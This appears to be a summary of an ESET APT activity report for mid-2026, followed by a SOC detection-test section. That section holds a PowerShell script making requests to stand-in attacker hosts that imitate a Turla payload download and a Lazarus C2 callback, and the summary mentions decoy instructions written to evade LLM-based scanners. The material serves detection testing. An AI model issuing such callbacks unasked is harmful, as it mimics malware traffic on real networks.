ESET APT Activity Report Q2–Q3 2026: Key Campaigns and Trends

Summary

This report outlines a broad range of APT activity observed between April and September 2026. Key trends include China-aligned groups targeting government and semiconductor organizations, renewed activity from Iran-aligned actors such as OilRig, and North Korean campaigns focused on technology and cryptocurrency. The report also notes growing operational coordination between Russia-aligned and Belarus-aligned groups, particularly against targets in Ukraine.

Investigation

ESET researchers analyzed telemetry to track multiple threat actor clusters across different regions. The investigation included identifying new malware families, examining software supply-chain compromises, and monitoring the adoption of AI tools in adversary workflows. Researchers also analyzed patterns in infrastructure, tool development, and shifts in targeting behavior.

Mitigation

Organizations should strengthen software supply-chain security and monitor for recruitment-themed social engineering campaigns. Protecting MDaemon mail servers against exploitation and securing Android devices from impersonation-based spyware are also important. Security teams should additionally account for AI-generated obfuscation techniques when analyzing suspicious scripts and payloads.

Response

When suspicious activity is detected, organizations should conduct detailed forensic analysis of scripts, repositories, and affected software. Incident responders should consider AI-driven obfuscation techniques, including decoy instructions designed to evade LLM-based scanners. Potential supply-chain compromises should be contained and investigated immediately to prevent further credential theft and unauthorized access.

Simulation Execution

• Attack Narrative & Commands: The simulated attacker aims to mimic the known indicators of Turla and Lazarus Group to test if the SOC can detect specific, hardcoded strings. First, the attacker simulates a Turla-style payload request by attempting to reach a URL containing the specific string “Turla’s VBScript Rezzuar”. Second, the attacker simulates a Lazarus Group recruitment-themed phishing callback by sending an HTTP request with a highly customized User-Agent string: “Lazarus Group Recruitment”. This mimics the behavior of a compromised system communicating with a C2 or a specialized phishing landing page.

• Regression Test Script:

  # Simulation of Turla TTP (URL matching)
  Write-Host "[+] Simulating Turla URL Indicator..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's%20VBScript%20Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulation of Lazarus TTP (User-Agent matching)
  Write-Host "[+] Simulating Lazarus User-Agent Indicator..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Cleanup Commands:

  # No persistent artifacts are created by the simulation as it uses memory-only web requests.
  Write-Host "[+] Simulation complete. No cleanup required."